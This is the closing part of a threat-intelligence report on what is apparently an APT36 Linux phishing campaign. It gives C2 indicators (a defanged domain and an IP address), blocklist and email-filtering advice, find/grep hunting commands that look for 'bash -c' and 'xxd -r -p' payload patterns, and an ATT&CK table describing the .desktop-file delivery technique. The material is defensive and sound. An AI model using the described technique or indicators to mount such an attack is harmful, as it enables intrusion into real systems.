Network Communication Patterns

Protocol:     WebSocket connections to port 8080
Retry Logic:  10-second intervals on connection failure
User-Agent:   Go HTTP client patterns
Persistence:  Continuous reconnection attempts

Remediation Recommendations

Network Security

  • Block C2 Infrastructure
  • Add seemysitelive[.]store and 164.215.103.55 to network blocklists
  • Monitor and block WebSocket connections to port 8080
  • Implement DNS sinkholing for the malicious domain

Endpoint Detection

  • Search for file hashes across all Linux systems
  • Hunt for files in /tmp/ matching the naming pattern
  • Identify systems with suspicious .desktop files

Email Security

  • Block ZIP attachments containing .desktop files
  • Implement additional scanning for procurement-themed emails
  • Review email logs for similar attachment patterns

Hunt Operations

1. Threat Hunting Queries

   

# Search for suspicious .desktop files
  find / -name "*.desktop" -newer [recent_date] -exec grep -l "bash -c" {} \;
 
  # Look for hex-decoded payloads
  grep -r "xxd -r -p" /var/log/
 
  # Find Go binaries in suspicious locations
  find /tmp /var/tmp -type f -executable -exec file {} \; | grep "Go building"

2. Memory Analysis

   - Dump memory of suspicious Go processes

   - Analyze WebSocket connections in memory

   - Check for embedded configuration data

Appendix

ATT&CK Table

ATT&CK Tactics and Techniques

ATT&CK Tactic ATT&CK Technique ID Technique Name Description / Relevance
Initial Access T1566 Phishing Delivery via phishing ZIP attachments containing malicious .desktop files
Execution T1204.002 User Execution: Malicious File Execution of disguised .desktop files by users
T1064 Scripting Use of bash script commands in the .desktop Exec field to download payload
Persistence T1543.003 Create or Modify System Process: Systemd Service Persistence via autostart .desktop files and likely cron/systemd services
T1564.001 Hide Artifacts: Hidden Files and Directories Dropping payload in hidden /tmp with obfuscation
Defense Evasion T1036 Masquerading Disguising malware as legitimate PDF shortcuts with icon spoofing
T1027.001 Obfuscated Files or Information: Binary Padding Large base64 icon data to hide malicious commands
Credential Access T1110 Brute Force / Credential Dumping (common in APT36 campaigns) Credential harvesting focus in broader APT36 operations
Discovery T1518 Software Discovery Reconnaissance on victim environment (host info gathering)
Command and Control T1071 Application Layer Protocol Using WebSocket protocol for C2 communications
T1095 Non-Application Layer Protocol WebSocket is a non-standard C2 communication
T1105 Ingress Tool Transfer Downloading payload from Google Drive
T1571 Non-Standard Port C2 over uncommon port 8080 using WebSocket

Reference

https://x.com/SinghSoodeep/status/1955860231109665108

أيوش بانوار

Related Blogs